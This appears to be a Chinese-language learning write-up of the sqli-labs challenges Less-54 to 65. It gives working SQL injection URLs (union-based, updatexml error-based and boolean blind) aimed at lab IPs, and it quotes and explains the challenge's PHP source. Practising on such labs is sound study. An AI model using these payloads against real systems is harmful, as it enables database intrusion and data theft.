Chanllenges
这个系列主要是一个进阶的学习,将前面学到的只是进行更深层次的运用,这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要我们在注入的时候对注入的结果进行仔细分析,尽可能在更少的注入次数中得到我们想要的数据,这里的表名和密码等是每十次尝试就强制进行更换。
Less-54
首先我们判断出是带引号注入
判断出表名
判断出列名,使用group_concat一次性将所有列名爆出:
最后一个不知出了什么问题,最后经过测试还是得到了数据:
http://192.168.252.166/sqli-labs/Less-54/index.php
?id=-1' union select 1,group_concat(secret_2BD6),3 from qghaiq6jry--+
Less-55
这一个我们经过测试判断出是数值型加单括号的格式,知道了之后我们就开始注入:
http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23
得到数据表:
http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='x17i1bjber'),3%23
拿到key:
http://192.168.252.166/sqli-labs/Less-55/
?id=-1) union select 1,(select group_concat(secret_8TKW) from x17i1bjber),3%23
Less-56
首先我们判断出了是字符型加单括号注入,然后继续测试
http://192.168.252.167/sqli-labs/Less-56/
?id=-1%27)%20union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3%23
最终我们拿到key
http://192.168.252.167/sqli-labs/Less-56/
?id=-1%27)%20union%20select%201,(select group_concat(secret_TTJN) from 75ngghtftr),3%23
Less-57
我们首先测试出是双引号格式
最终拿到key
http://192.168.252.167/sqli-labs/Less-57/
?id=-1" union select 1,(select group_concat(secret_GFYZ) from lc618fhoox),3%23
Less-58
经过我们的测试,发现是字符型注入,但是我们使用联合注入一直无法显示数据,后来我们发现有报错,所以我们就使用了报错注入,先拿到表名:
http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)%23
字段:
http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'lhew2mtfei'),0x7e),1)%23
拿到key:
http://192.168.252.167/sqli-labs/Less-58/
?id=-1'%20And%20UpDatexml(1,concat(0x7e,(select group_concat(secret_KUW0) from lhew2mtfei),0x7e),1)%23
我们最后分析一下源码:
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";
}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
}
if(isset($_GET['id']))
{
$id=$_GET['id'];
next_tryy();
//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
}
else
{
print_r(mysql_error());
}
}
else
{
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
}
}
我们通过查看源码可以知道,最终返回的结果不是根据数据内容返回的,是返回php中指定数组中的内容,所以我们使用联合注入无法返回数据,但是其有报错,所以我们可以使用报错注入。
Less-59
首先我们判断出了是数值型,接着继续进行注入:
表名:
字段名:
key:
Less-60
首先我们判断出了格式是双引号加括号
数据表:
字段名:
key:
Less-61
通过报错我们看到单双引号加两个括号
数据表:
列名:
key:
Less-62
这个我们首先测试出格式是单引号加括号')'
。
后续的操作由于没有报错也没有数据回显,所以我们只能使用盲注,这里我们可以使用布尔注入:
判断表名的长度:
http://192.168.252.167/sqli-labs/Less-62/
?id=1') and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=10,1,0);--+
表名第一个字符
http://192.168.252.167/sqli-labs/Less-62/
?id=1') and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>110,1,0)--+
不过如果我们想要拿到所有的数据必须得在注入的时候减少次数,我们尽量使用二分法来测试目标字符,减少测试次数。
Less-63
这一关我们首先判断格式是单引号注入,而且没有错误提示和数据回显,所以这一关还是只能使用盲注,这里我们还可以使用布尔注入。
http://192.168.252.168/sqli-labs/Less-63/index.php
?id=1' and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=10,1,0)%23
Less-64
这一关我们测试出是数值型加两个括号?id=1))
,同样的只能使用盲注:
http://192.168.252.168/sqli-labs/Less-64/index.php
?id=1)) and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=10,1,0)%23
Less-65
这一关我们测试出是双引号加括号")
http://192.168.252.168/sqli-labs/Less-65/
?id=1") and if(length((select table_name from information_schema.tables
where table_schema=database() limit 0,1))=10,1,0)%23